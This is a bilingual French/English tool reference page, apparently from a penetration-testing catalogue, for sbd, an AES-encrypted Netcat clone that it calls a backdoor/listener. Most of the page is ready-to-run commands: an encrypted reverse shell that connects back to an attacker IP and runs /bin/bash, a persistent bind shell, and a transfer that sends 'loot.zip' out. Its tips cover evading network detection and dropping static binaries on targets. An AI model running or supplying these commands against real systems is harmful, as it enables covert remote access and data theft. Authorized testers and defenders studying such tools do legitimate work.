sbd

Clone de Netcat avec chiffrement AES fort et exécution de programme distant, portable sur toutes les plateformes. Couramment utilisé comme backdoor/listener chiffré. Netcat-like tool with strong AES encryption and remote program execution, portable across platforms. Commonly used as an encrypted backdoor/listener.

↗ https://www.kali.org/tools/sbd/

Overview

sbd is a portable Netcat clone that adds AES-128-CBC encryption plus HMAC-SHA1 authentication to its traffic, along with the ability to execute a program on connect. Where plain Netcat traffic is trivially fingerprinted and sniffable, sbd gives you an encrypted transport for reverse/bind shells and file transfer — useful when a listener needs to avoid basic network-based detection during an engagement.

Common Usage

Listener on the attacker box, spawns a shell on connect, AES-encrypted

sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

Connect back from the target to the listener above

sbd <attacker_ip> 4444 -e /bin/bash -k SuperSecretPass
sbd -l -p 4444 -e /bin/bash -k SuperSecretPass    # run on target
sbd <target_ip> 4444 -k SuperSecretPass            # connect from attacker
sbd -l -p 4444 -k SuperSecretPass > loot.zip        # on receiving end
sbd <receiver_ip> 4444 -k SuperSecretPass < loot.zip  # on sending end

Keep listening after a client disconnects (multi-connection listener)

sbd -l -p 4444 -c -e /bin/bash -k SuperSecretPass

Tips

  • Always set -k — without it, sbd falls back to unencrypted traffic that offers no advantage over plain Netcat
  • The encrypted stream still has a distinctive handshake pattern; it evades naive plaintext signature matching, not full TLS/JA3-style inspection
  • Statically compiled sbd binaries are handy to drop on a target that lacks Netcat and where you don’t want a plaintext channel
Help / Man page
Usage:
  Client: sbd [-c] [-k password] host port [port]...
  Server: sbd [-c] [-k password] -l -p port [-e prog] [-i secs] [-w secs]

  -c              continue listening after a connection ends (server only)
  -e prog         execute prog after connection, with I/O redirected to socket
  -k password     enable AES-128-CBC encryption with this password
  -l              listen mode
  -p port         local port to listen on (server) 
  -i secs         idle timeout in seconds
  -w secs         network write timeout in seconds
  -v              verbose

Vue d’ensemble

sbd est un clone portable de Netcat qui ajoute un chiffrement AES-128-CBC et une authentification HMAC-SHA1 à son trafic, ainsi que la possibilité d’exécuter un programme à la connexion. Là où le trafic Netcat classique est trivialement identifiable et sniffable, sbd offre un transport chiffré pour les reverse/bind shells et le transfert de fichiers : utile quand un listener doit éviter une détection réseau basique pendant une mission.

Utilisation courante

# Listener côté attaquant, lance un shell à la connexion, chiffré AES
sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

# Connexion retour depuis la cible vers le listener ci-dessus
sbd <attacker_ip> 4444 -e /bin/bash -k SuperSecretPass

# À lancer sur la cible
sbd -l -p 4444 -e /bin/bash -k SuperSecretPass

# Connexion depuis l'attaquant
sbd <target_ip> 4444 -k SuperSecretPass

# Côté réception (fichier)
sbd -l -p 4444 -k SuperSecretPass > loot.zip

# Côté envoi (fichier)
sbd <receiver_ip> 4444 -k SuperSecretPass < loot.zip

# Continuer à écouter après la déconnexion d'un client (listener multi-connexions)
sbd -l -p 4444 -c -e /bin/bash -k SuperSecretPass

Conseils

  • Toujours définir -k : sans cela, sbd retombe sur un trafic non chiffré qui n’offre aucun avantage par rapport à Netcat classique
  • Le flux chiffré a tout de même un motif de handshake distinctif ; il échappe à la détection naïve par signature en clair, pas à une inspection complète type TLS/JA3
  • Les binaires sbd compilés statiquement sont pratiques à déposer sur une cible dépourvue de Netcat et où l’on ne veut pas de canal en clair
Aide / Page de manuel
Usage:
  Client: sbd [-c] [-k password] host port [port]...
  Server: sbd [-c] [-k password] -l -p port [-e prog] [-i secs] [-w secs]

  -c              continue listening after a connection ends (server only)
  -e prog         execute prog after connection, with I/O redirected to socket
  -k password     enable AES-128-CBC encryption with this password
  -l              listen mode
  -p port         local port to listen on (server) 
  -i secs         idle timeout in seconds
  -w secs         network write timeout in seconds
  -v              verbose